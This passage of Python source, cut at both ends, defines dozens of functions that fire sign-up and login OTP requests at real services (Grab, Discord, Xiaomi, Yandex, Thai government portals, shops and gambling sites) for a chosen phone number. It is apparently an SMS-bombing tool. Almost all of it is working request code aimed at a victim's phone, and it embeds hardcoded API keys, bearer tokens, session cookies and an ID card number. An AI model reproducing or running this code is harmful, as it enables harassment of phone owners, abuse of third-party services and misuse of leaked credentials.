"application/json;charset=UTF-8"},json={"phone_no": phone}) def api29(phone): post("https://partner-api.grab.com/grabid/v1/oauth2/otp", json={"client_id":"4ddf78ade8324462988fec5bfc5874c2","transaction_ctx":"null","country_code":"TH","method":"SMS","num_digits":"6","scope":"openid profile.read foodweb.order foodweb.rewards foodweb.get_enterprise_profile","phone_number": phone},headers={}) def api30(phone): post("https://www.konvy.com/ajax/system.php?type=reg&action=get_phone_code", data={"phone": phone}) def api31(phone): post("https://ecomapi.eveandboy.com/v10/user/signup/phone", data={"phone": phone,"password":"123456789Az"}) def api32(phone): post("https://cognito-idp.ap-southeast-1.amazonaws.com/",headers={"user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/x-amz-json-1.1","x-amz-target": "AWSCognitoIdentityProviderService.SignUp","x-amz-user-agent": "aws-amplify/0.1.x js","referer": "https://www.bugaboo.tv/members/signup/phone"},json={"ClientId":"6g47av6ddfcvi06v4l186c16d6","Username":f"+66{phone[1:]}","Password":"098098Az","UserAttributes":[{"Name":"name","Value":"Dbdh"},{"Name":"birthdate","Value":"2005-01-01"},{"Name":"gender","Value":"Male"},{"Name":"phone_number","Value":f"+66{phone[1:]}"},{"Name":"custom:phone_country_code","Value":"+66"},{"Name":"custom:is_agreement","Value":"true"},{"Name":"custom:allow_consent","Value":"true"},{"Name":"custom:allow_person_info","Value":"true"}],"ValidationData":[]}) post("https://cognito-idp.ap-southeast-1.amazonaws.com/",headers={"cache-control": "max-age=0","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/x-amz-json-1.1","x-amz-target": "AWSCognitoIdentityProviderService.ResendConfirmationCode","x-amz-user-agent": "aws-amplify/0.1.x js","referer": "https://www.bugaboo.tv/members/resetpass/phone"},json={"ClientId":"6g47av6ddfcvi06v4l186c16d6","Username":f"+66{phone[1:]}"}) def api33(phone): get(f"https://laopun.com/send-sms?id={phone}&otp=5153",headers=header) def api34(phone): post("https://jdbaa.com/api/otp-not-captcha", data={"phone_number":phone}) def api35(phone): post("https://www.carsome.co.th/website/login/sendSMS", headers=header, json={"username":phone,"optType":0}).json() def api36(phone): post("https://nocnoc.com/authentication-service/user/OTP?b-uid=1.0.684",headers=header,json={"lang":"th","userType":"BUYER","locale":"th","orgIdfier":"scg","phone":phone,"type":"signup","otpTemplate":"buyer_signup_otp_message","userParams":{"buyerName":"ฟงฟง ฟงฟว"}}) def api37(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", json={"reqId":"39816-1633012470","params":{"phone": phone,"language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def api38(phone): post("https://api.1112delivery.com/api/v1/otp/create", data={'phonenumber': phone,'language': "th"}) def api39(phone): post("https://gccircularlivingshop.com/sms/sendOtp", json={"grant_type":"otp","username": phone,"password":"","client":"ecommerce"},headers={}) def api40(phone): headers={ "organizationcode": "lifestyle", "content-type": "application/json" } json = {"operationName":"sendOtp","variables":{"input":{"mobileNumber": phone,"phoneCode":"THA-66"}},"query":"mutation sendOtp($input: SendOTPInput!) {\n sendOTPRegister(input: $input) {\n token\n otpReference\n expirationOn\n __typename\n }\n}\n"} post("https://graph.firster.com/graphql",headers=headers,json=json) def api41(phone): post("https://m.riches666.com/api/register-otp", data={"brands_id":"60a6563a232a600012521982","agent_register":"60a76a7f233d2900110070e0","tel":phone}) def api42(phone): post("https://www.pruksa.com/member/member_otp/re_create",headers=header,data=f"required=otp&mobile={phone}") def api43(phone): post("https://vaccine.trueid.net/vacc-verify/api/getotp",headers=header,json={"msisdn":phone,"function":"enroll"}) def api44(phone): post("https://ufa108.ufabetcash.com/api/",headers=header,data=f"cmd=request_form_register_detail_check&web_account_id=36&auto_bank_group_id=1&m_name=sl&m_surname=ak&m_line=snsb1j&m_bank=4&m_account_number=8572178402&m_from=41&m_phone={phone}") def api45(phone): post("https://www.mrcash.top/h5/LoginMessage_ultimate",data = {"phone": phone,"type":"2","ctype":"1"}) def api46(phone): post("https://www.qqmoney.ltd/jackey/sms/login",json = {"appId":"5fc9ff297eb51f1196350635","companyId":"5fc9ff12197278da22aff029","mobile": phone},headers={"Content-Type": "application/json;charset=UTF-8"}) def api47(phone): post("https://www.monomax.me/api/v2/signup/telno",json ={"password":"12345678+","telno": phone}) def api48(phone): post("https://m.pgwin168.com/api/register-otp",json ={"brands_id":"60e4016f35119800184f34a5","agent_register":"60e57c3b2ead950012fc5fba","tel": phone}) def api49(phone): post("https://www.som777.com/api/otp/register",json ={"applicant": phone,"serviceName":"SOM777"}) def api50(phone): post("https://www.konglor888.com/api/otp/register",json = {"applicant": phone,"serviceName":"KONGLOR888"}) def api51(phone): get("https://api.quickcash8.com/v1/login/captcha?timestamp=1636359633&sign=3a11b88fbf58615099d15639e714afcc&token=&version=2.3.2&appsFlyerId=1636346593405-2457389151564256014&platform=android&channel_str=&phone="+phone+"&img_code=", headers = {"Host": "api.quickcash8.com", "Connection": "Keep-Alive", "Accept": "gzip", "User-Agent": "okhttp/3.11.0"}) def api52(phone): get("https://users.cars24.co.th/oauth/consumer-app/otp/"+phone+"?lang=th", headers = {"accept": "application/json, text/plain, */*","x_vehicle_type":"CAR","cookie":"_ga=GA1.3.523508414.1640152799;_gid=GA1.3.999851247.1640152799;_fbp=fb.2.1640152801502.837786780;_gac_UA-65843992-28=1.1640152807.EAIaIQobChMIi9jVo9329AIVizArCh1bFAuMEAAYASAAEgJqA_D_BwE;_dc_gtm_UA-65843992-28=1;_hjSessionUser_2738441=eyJpZCI6IjYwMjMzZjYyLTFlMzYtNWZmMy04MjZkLTMzOTAxNTMwODQ4NyIsImNyZWF0ZWQiOjE2NDAxNTI4MDEzMDYsImV4aXN0aW5nIjp0cnVlfQ==;_hjSession_2738441=eyJpZCI6ImI4MDNlNTFkLTFiYTYtNGExZi05MGIzLTk5OWRmMjhhM2RiOCIsImNyZWF0ZWQiOjE2NDAxNjY4ODgwNDF9;_hjAbsoluteSessionInProgress=0;cto_bundle=uVFzcF8lMkYxM0hsRGxQc1M4YThaRmhHJTJGRTBtSUdwNzVuRkVldzI5QlpIYktWbnZFcUlzdDZ1ZnhMT3JqVVhFQyUyQmtGUE9MTFk5akpyVnl4ekZnZlJ4UVN3WnRHdUNyJTJGWW03aVRSeWtLc2wxTjA3QmR0THNzcjNsJTJCcEJHSXlOUzNxTVc2ZmJPaGclMkZhRUhkV3I2cTI1dXUlMkZhYnl1dyUzRCUzRA"}) def api53(phone): post("https://www.kaitorasap.co.th/api/index.php/send-otp/", data = {"phone_number": phone,"lag": " "}) def api54(phone): requests=Session() token=search('<meta name="_csrf" content="(.*)" />',get("https://www.shopat24.com/register/").text).group(1) post("https://www.shopat24.com/register/ajax/requestotp/",data=f"phoneNumber={phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","x-csrf-token": token}) def api55(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}).text session.post("https://srfng.ais.co.th/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def api56(phone): post("https://discord.com/api/v9/users/@me/phone",headers=header,json={"phone":"+66"+phone}) def api57(phone): post("https://api-customer.lotuss.com/clubcard-bff/v1/customers/otp", data={"mobile_phone_no":phone}) def api58(phone): post("https://www.tgfone.com/signin/otp_chk_fast",headers=header,json=f"mobile={phone}&type_otp=7") def api59(phone): post("https://ufa3bb.com/account/register/sendotp",headers=header,data=f"phone={phone}") def api60(phone): post("https://login.s-momclub.com/accounts.otp.sendCode", data=f"phoneNumber=%2B66{phone[1:]}&lang=th&APIKey=3_R6NL_0KSx2Jyu7CsoDxVYau1jyOIaPzXKbwpatJ_-GZStVrCHeHNIO3L1CEKVIKC&source=showScreenSet&sdk=js_latest&authMode=cookie&pageURL=https%3A%2F%2Fwww.s-momclub.com%2Fprofile%2Flogin&sdkBuild=12563&format=json",headers={"content-type": "application/x-www-form-urlencoded","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "gmid=gmid.ver4.AcbHriHAww._ill8qHpGNXtv9aY3XQyCvPohNww4j7EtjeiM3jBccqD7Vx0OmGeJuXcpQ2orXGs.nH0yRZjbm75C-5MVgB2Ii0PWvx6TICBn1LYI_XtlgoHg9mnouZgNs6CHULJEitOfkBhHvf8zUvrvMauanc52Sw.sc3;ucid=Tn63eeu2u8ygoINkqYBk5w;hasGmid=ver4;_ga=GA1.2.1714152564.1642328595;_fbp=fb.1.1642328611770.178002163;_gcl_au=1.1.64457176.1642329285;gig_bootstrap_3_R6NL_0KSx2Jyu7CsoDxVYau1jyOIaPzXKbwpatJ_-GZStVrCHeHNIO3L1CEKVIKC=login_ver4;_gid=GA1.2.1524201365.1642442639;_gat=1;_gat_rolloutTracker=1;_gat_globalTracker=1;_gat_UA-62402337-1=1"}) def api61(phone): post("https://globalapi.pointspot.co/papi/oauth2/signinWithPhone", data={"phoneNumber": f"+66{phone[1:]}"}) def api62(phone): get(f"https://hdmall.co.th/phone_verifications?express_sign_in=1&mobile={phone}") def api63(phone): post("https://asha168vip.com/_ajax_/request-otp", data={"request_otp[phoneNumber]":phone,"request_otp[termAndCondition]": "1","request_otp[_token]": "1642443743"}) def api64(phone): post("https://account.xiaomi.com/pass/sendPhoneRegTicket", data=f"region=US&phone=%2B66{phone[1:]}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "captchaToken=mXYXs+xvEHAZdhKnXK1XlopRcisSn05D6xhZU+uL3ghvh1Yf/4rYTExH+2xl+yZv;deviceId=wb_aca09552-fd37-4204-9d7a-20045de5c5bf;uLocale=en"}) def api65(phone): post("https://gamingnation.dtac.co.th/api/otp/generate", data={"template":"register","phone_no":phone},headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api66(phone): post("https://www.aurora.co.th/signin/otp_chk", data=f"mobile={phone}&type_otp=3",headers={"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}) def api67(phone): get(f"https://api.joox.com/web-fcgi-bin/web_account_manager?optype=5&os_type=2&country_code=66&phone_number=66{phone[1:]}&time=1641777424446&_=1641777424449&callback=axiosJsonpCallback2") def api68(phone): post("http://716081.com/wap/user/sendPhoneMsg", json={"uri":"/user/sendPhoneMsg","token":"","paramData":{"phoneVerifyType":0,"phoneNumber":f"66{phone[1:]}","siteCode":"intqa"}}).text def api69(phone): post("https://login.928royal.com/api/APISendOTP.php", data=f"mobileNumber=0{phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8"}) def api70(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", data={"tel":phone,"otp_type":"register"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","authorization": "Basic 755b4608e637d413d668502704d93e377f4f67b2d3d0f50e5644af3607f31ddb3174ecaf5b2c40c86f9efc32de1ee0bbf3e7a2b32cb055a3cb7068e1bb152844"}) def api71(phone): post("https://www.bigthailand.com/authentication-service/user/OTP", json={"locale":"th","phone": f"+66{phone[1:]}","email":"dkdk@gmail.com","userParams":{"buyerName":"ekek ks","activateLink":"www.google.com"}},headers={"content-type": "application/json","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","authorization": "Bearer eyJ0eXAiOiJKV1QiLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwiYWxnIjoiZGlyIn0..P9LOZOUnXvgw5wDxPqSuCg.jjRU6v4iidkFNv4nROigeng1s9e96LnzplOaml7YSasaTxwozO37IWuq-h6bV5JyxpaRvIL9UCochw-3OciWq_VrORNwnH45b-ziIAhZ-CpLpt1O_4EpM27y7TYXBb_w6DT3BJp1ARkG7CqSouTnGg.2n1G9HbFJzArFH5Rr2m9kg","cookie": "auth.strategy=local;auth._token.local=Bearer%20eyJ0eXAiOiJKV1QiLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwiYWxnIjoiZGlyIn0..P9LOZOUnXvgw5wDxPqSuCg.jjRU6v4iidkFNv4nROigeng1s9e96LnzplOaml7YSasaTxwozO37IWuq-h6bV5JyxpaRvIL9UCochw-3OciWq_VrORNwnH45b-ziIAhZ-CpLpt1O_4EpM27y7TYXBb_w6DT3BJp1ARkG7CqSouTnGg.2n1G9HbFJzArFH5Rr2m9kg;_utm_objs=eyJzb3VyY2UiOiJnb29nbGUiLCJtZWRpdW0iOiJjcGMiLCJjYW1wYWlnbiI6ImFkd29yZHMiLCJj%0D%0Ab250ZW50IjoiYWR3b3JkcyIsInRlcm0iOiJhZHdvcmRzIiwidHlwZSI6InJlZmVycmVyIiwidGlt%0D%0AZSI6MTY0MjMyOTM5OTU4NSwiY2hlY2tzdW0iOiJaMjl2WjJ4bExXTndZeTFoWkhkdmNtUnpMVEUy%0D%0ATkRJek1qa3pPVGsxT0RVPSJ9;_pk_ref.564990563.2c0e=%5B%22%22%2C%22%22%2C1642329400%2C%22https%3A%2F%2Fwww.google.com%2F%22%5D;_pk_ses.564990563.2c0e=*;_gcl_au=1.1.833577636.1642329400;_asm_visitor_type=n;_ac_au_gt=1642329406505;cdp_session=1;_asm_uid=637506384;_ga=GA1.2.1026893832.1642329403;_gid=GA1.2.1437369318.1642329403;OptanonConsent=isIABGlobal=false&datestamp=Sun+Jan+16+2022+17%3A36%3A45+GMT%2B0700+(%E0%B9%80%E0%B8%A7%E0%B8%A5%E0%B8%B2%E0%B8%AD%E0%B8%B4%E0%B8%99%E0%B9%82%E0%B8%94%E0%B8%88%E0%B8%B5%E0%B8%99)&version=6.9.0&hosts=&consentId=e0fe7ec6-3c1e-4aa7-9e72-ecd2ed724416&interactionCount=0&landingPath=https%3A%2F%2Fwww.bigthailand.com%2Fcategory%2F850%2F%25E0%25B8%2599%25E0%25B9%2589%25E0%25B8%25B3%25E0%25B8%25A1%25E0%25B8%25B1%25E0%25B8%2599%25E0%25B9%2580%25E0%25B8%2584%25E0%25B8%25A3%25E0%25B8%25B7%25E0%25B9%2588%25E0%25B8%25AD%25E0%25B8%2587%25E0%25B9%2581%25E0%25B8%25A5%25E0%25B8%25B0%25E0%25B8%2582%25E0%25B8%25AD%25E0%25B8%2587%25E0%25B9%2580%25E0%25B8%25AB%25E0%25B8%25A5%25E0%25B8%25A7%2F%25E0%25B8%2599%25E0%25B9%2589%25E0%25B8%25B3%25E0%25B8%25A1%25E0%25B8%25B1%25E0%25B8%2599%25E0%25B9%2580%25E0%25B8%2584%25E0%25B8%25A3%25E0%25B8%25B7%25E0%25B9%2588%25E0%25B8%25AD%25E0%25B8%2587%3Fgclid%3DCj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB&groups=C0001%3A1%2CC0003%3A1%2CC0002%3A1%2CC0007%3A1;_fbp=fb.1.1642329406623.363807498;_hjSessionUser_2738378=eyJpZCI6ImVkNmZhOGY3LTQwNDctNTNjMi04YTVjLTQ0OGE5MDA4YjhiZCIsImNyZWF0ZWQiOjE2NDIzMjk0MDQ4MDMsImV4aXN0aW5nIjpmYWxzZX0=;_hjFirstSeen=1;_hjIncludedInSessionSample=0;_hjSession_2738378=eyJpZCI6ImNhN2UwZDFhLTZkNmQtNGM0Mi04YmI1LTg4NWJmNzZjMGExZCIsImNyZWF0ZWQiOjE2NDIzMjk0MTEwNzcsImluU2FtcGxlIjpmYWxzZX0=;_hjIncludedInPageviewSample=1;_hjAbsoluteSessionInProgress=0;_gac_UA-165856282-1=1.1642329477.Cj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB;_gcl_aw=GCL.1642329478.Cj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB;_pk_id.564990563.2c0e=0.1642329400.1.1642329489.1642329400.;_ac_client_id=637515726.1642329496;_ac_an_session=zmzlzhzlzizqzmzjzkzjzdzlzgzkzmzizmzkzhzlzdzizlznzhzgzhzqznzqzlzdzizdzizlznzhzgzhzqznzqzlzdzizlznzhzgzhzqznzqzlzdzizdzgzjzizdzjzd2h25zdzgzdzezizd;au_id=637515726;_ga_80VN88PBVD=GS1.1.1642329399.1.1.1642329493.44"}) def api72(phone): post("https://api.cashmarket-th.com/app/userinfo/send/smsCode", json={"baseParams":{"platformId":"android","deviceType":"h5","deviceIdKh":"20220118121149smyjjs57jxtqbwkuu74y0vd6p5yzhrmp86872f73364d46d3bf9446ddd583ef61ee8fafe504bab46ec267ca96a99281d6rreqhrlgsg4p3srgv1i5s4pp8u9la6gf1","termSysVersion":"5.1.1","termModel":"A37f","brand":"","termId":"null","appType":"6","appVersion":"2.0.0","pValue":"","position":{"lon":"null","lat":"null"},"bizType":"0000","appName":"Cash Market","packageName":"com.cashmarketth.h5","screenResolution":"720,1280"},"clientTypeFlag":"h5","token":"","phoneNumber":"","timestamp":"1642479101529","bizParams":{"phoneNum":phone,"code":"null","type":200,"channelCode":"hJ071"}}) def api73(phone): post("https://bacara888.com/api/otp/register",data={"applicant":phone,"serviceName":"gclub"}) def api74(phone): post("https://www.tslpv.net/api/v1/sendRegisterSms", data={"national_number":phone,"country_code":"TH","g_token":"null"}) def api75(phone): post("https://queenclub88.com/api/register/phone", data={"phone":phone}) def api76(phone): post("https://api.cdfoi9.com/api/v1/index.php", data=f"module=%2Fusers%2FgetVerificationCode&mobile={phone}&merchantId=111&domainId=0&accessId=&accessToken=&walletIsAdmin=",headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","content-type": "application/x-www-form-urlencoded"}) def api77(phone): get(f"https://api.joox.com/web-fcgi-bin/web_account_manager?optype=5&os_type=2&country_code=66&phone_number=0{phone}&time=1641777424446&_=1641777424449&callback=axiosJsonpCallback2") def api79(phone): send = Session() send.headers.update({"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38","Content-Type" : "application/x-www-form-urlencoded","Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}) snd = send.post("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",data=f"st.r.phone=+66{phone[1:]}") sed = send.post("https://ok.ru/dk?cmd=AnonymRegistrationAcceptCallUI&st.cmd=anonymRegistrationAcceptCallUI",data="st.r.fieldAcceptCallUIButton=Call") def api80(phone): get(f"https://findclone.ru/register?phone=+66{phone[1:]}",headers={"X-Requested-With" : "XMLHttpRequest","User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36"}).json() def api88(phone): post("https://globalapi.pointspot.co/papi/oauth2/signinWithPhone", data={"phoneNumber": phone}) def api89(phone): # QCLOUD post("https://api.cashmarket-th.com/app/userinfo/send/smsCode", json={"baseParams":{"platformId":"android","deviceType":"h5","deviceIdKh":"20220118121149smyjjs57jxtqbwkuu74y0vd6p5yzhrmp86872f73364d46d3bf9446ddd583ef61ee8fafe504bab46ec267ca96a99281d6rreqhrlgsg4p3srgv1i5s4pp8u9la6gf1","termSysVersion":"5.1.1","termModel":"A37f","brand":"","termId":"null","appType":"6","appVersion":"2.0.0","pValue":"","position":{"lon":"null","lat":"null"},"bizType":"0000","appName":"Cash Market","packageName":"com.cashmarketth.h5","screenResolution":"720,1280"},"clientTypeFlag":"h5","token":"","phoneNumber":"","timestamp":"1642479101529","bizParams":{"phoneNum": phone,"code":"null","type":200,"channelCode":"hJ071"}}) def api90(phone): post("https://shopgenix.com/api/sms/otp/",headers=header,data=f"mobile_country_id=1&mobile={phone}") # SME-GP def api91(phone): post("https://api.thaisme.one/smegp/register/request-otp",json={"MOBILE":phone}) #YOUROTP def api92(phone): post("https://apiv3.slot999ss.com/front/api/register/set/OTP",data=f"phone={phone}",headers={"content-type": "application/x-www-form-urlencoded;charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) #Sabuy-Ebuy def api93(phone): post("https://sabuyebuy.com/wp-json/api/v1/get-otp",headers=header,json={"msisdn":f"{phone}"}) #FAST-PLUS. def api94(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", data={"tel":phone,"otp_type":"register"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","authorization": "Basic 755b4608e637d413d668502704d93e377f4f67b2d3d0f50e5644af3607f31ddb3174ecaf5b2c40c86f9efc32de1ee0bbf3e7a2b32cb055a3cb7068e1bb152844"}) #Zilingo def api95(phone): post("https://id.zilingo.com/api/v1/userVerification/initiate?up_s=B2B_ASIA_MALL&up_cd=v1_eyJjbGllbnRVc2VySWRlbnRpZmljYXRpb24iOnsiYW5vbnltb3VzVXNlcklkT3B0IjoiQUlENTUwMDY3MTIzMjA0NTY2MDkyIiwic2Vzc2lvbklkT3B0IjoiU0lENTUwMDY3MTIzMjA0NTY2MDkyIiwidXNlcklkT3B0IjpudWxsfSwic2NyZWVuT3B0Ijp7InNjcmVlblR5cGUiOiJDQVRFR09SWSIsInNjcmVlbklkIjoiV0NMIiwic2NvcGUiOm51bGx9LCJidXllclJlZ2lvbk9wdCI6IkIyQl9USEEiLCJsb2NhbGVDb2RlIjoidGgiLCJxdiI6eyJjbGllbnQiOiJXZWIiLCJzdWJDbGllbnQiOiJEZXNrdG9wV2ViIiwidmVyc2lvbiI6IjM1LjguNSJ9fQ==",headers=header,json={"channelDetails":{"phoneNumber":f"+66{phone[1:]}","channelType":"SMS"},"source":"UNIFIED_LOGIN","action":"OTP_LOGIN","redirectTo":"/th-th/Women/Clothing"}) #DGA def api96(phone): post("https://accounts.egov.go.th/Citizen/Account/MobileRegisterJson",headers=header,json={"Mobile":f"{phone}","TransactionId":"f28ef0a2-23ff-4abd-b9e6-fdfc271298ea"}) def api97(phone): post("https://tdhw.treasury.go.th/TD-Vote/api/otp/request",json={"ID_CARD":"1104200197909","TEL":f"{phone}","OTP_TYPE":"OTP_TEST"}) def api98(phone): post("https://user-api.learn.co.th/authentication/sendOTP",json={"mobileNumber": phone},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Host": "user-api.learn.co.th","content-length": "29","sec-ch-ua-mobile": "?1","content-type": "application/json;charset=UTF-8","accept": "application/json, text/plain, /","sec-ch-ua-platform": "Android","origin": "https://user.learn.co.th","sec-fetch-site": "same-site","sec-fetch-mode": "cors","sec-fetch-dest": "empty","referer": "https://user.learn.co.th/","x-api-key": "USER_API_KEY"}) #FOODDIARY def api99(phone): post("https://www.fooddiaryonlineshop.com/RegisterNewCustomer",headers=header,data=f"__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=Ble7%2FRYu%2F1RjtS%2FfO9KgKdBWKCntkuS%2F0x7Qh6w4mnY7kV82h741dj1JFc5xnFbW7yacbboe0%2B5nTVVF%2BFSGEHQvaTkL4HQ5qDJbZMBQEt73YZZ%2FZON2LWw193tcYCjDwL3y3vy3lks%2BduyUOCNMwlwNpfrPDsvbhgT4qDCekWgvnnFrzFGCtQYO6cTU3Lax6YpvUbBld0oKgkWcHg0efFp3K2S2fLx%2BK4oTVGr6bq1QdKl5uPHqtL04IHkdy7X6Wbf6lUTQgOa5q5wLfE2KUGHWUUsYjahMwHmRCaVSxB7P1eDmiZ%2BQNku9pHs7m50GtCSePXPSfYtFBumDCM2R1XklFOdYV4X1jJgt%2Fe3MGV1Xmj7cRE%2FsBk1u%2FMYfN%2BmXb5dxruqgDuhXAnWP%2F8Syot1XGEUtVclmfF5NIB0KkCu6He8dheN%2BhEkupLqzP6Ip6OAMNnvssm1rMngwDy7ipCNC3dPXMj83IpBuuD1LWbPr3x3ksf0%2FrGL4yM7jvr8a99ifPcJPcmJzY%2Feay0PKwdwA3u2KTyCoXVgMZwqvsdRoyRHlFooZ3AHoBNsQrkegtyk5eHtjpBTLHD1dzQT3R%2FRaYIbencMw%2B5BbVJWiPzVTXF%2BiQ9A64UcUP9adMciJa7TudfL331vSRd%2FwVMkA%2B1fDtVrfBBi8%2BHbta7BsuVjk0ZodiLMuloOsYaTSilSLmidUpEZFsj0Zhz%2FpwGu%2FGKMixcG95PmRkOdpAj4d2D8%3D&__VIEWSTATEGENERATOR=94756D41&ctl00%24MainContent%24PageGUIDForSession=&ctl00%24MainContent%24rdEmail=U&ctl00%24MainContent%24rdMobile=C&ctl00%24MainContent%24cbpEmptry%24txtMobileNo%24State=%7B%26quot%3BrawValue%26quot%3B%3A%26quot%3B{phone}%26quot%3B%2C%26quot%3BvalidationState%26quot%3B%3A%26quot%3B%26quot%3B%7D&ctl00%24MainContent%24cbpEmptry%24txtMobileNo=0958816629&ctl00%24MainContent%24cbpEmptry%24txtOTP%24State=%7B%26quot%3BrawValue%26quot%3B%3A%26quot%3B%26quot%3B%2C%26quot%3BvalidationState%26quot%3B%3A%26quot%3B%26quot%3B%7D&ctl00%24MainContent%24cbpEmptry%24txtOTP=&ctl00%24MainContent%24cbpEmptry%24chkRead=U&ctl00%24MainContent%24cbpEmptry%24chkConsent=U&DXScript=1_16%2C1_17%2C1_28%2C1_66%2C1_18%2C1_19%2C1_20%2C1_21%2C1_224%2C1_225%2C1_230%2C1_229%2C1_51%2C1_22%2C1_14%2C1_226%2C1_52&DXCss=1_248%2C1_69%2C1_71%2C1_250%2C1_247%2C1_75%2C1_74%2C1_251%2C%2FContent%2Fcss%3Fv%3DFILIkBdKK0FrNSvnRmezf5qTxic9NR7FOzzIJ8iQAKQ1%2Cfavicon.ico%2C..%2F..%2FContent%2Fbootstrap.min.css%2CStyles%2Fbutton.css&__CALLBACKID=ctl00%24MainContent%24cbpEmptry&__CALLBACKPARAM=c0%3ARequestOTP&__EVENTVALIDATION=N%2FlR5TtQKjdRNUQy0QFSjIjFW06D%2Fdy2VFm5Zl%2FTN%2FlsEYUsQVZwH8qpQ5sFzI0PBX2ZLH3HhxXkkZRvuada%2Bu6zsHxSgV3In38ahlf75%2Blm%2BguMSbwp%2FSxuo4Cc3cm5ZFVYYR9eVfvdwG4YsxWYbA%3D%3D") #yandex def api100(phone): post("https://passport.yandex.com/registration-validations/phone-confirm-code-submit",headers=header,data=f"track_id=b3dc4a29a19d038f1cd522187726d7bb5a&csrf_token=e150046ff026a517c15d45444294ffa3275b140c%3A1645857142788&number={phone}&isCodeWithFormat=true&confirm_method=by_sms") def api101(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": useragent}).text res=session.post("https://srfng.ais.co.th/api/v2/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": useragent,"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def api102(phone): post("https://api.zaapi.co/api/store/auth/otp/login",json={"phoneNumber":f"+66{phone[1:]}","namespace":"zaapi-buyers"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api103(phone): 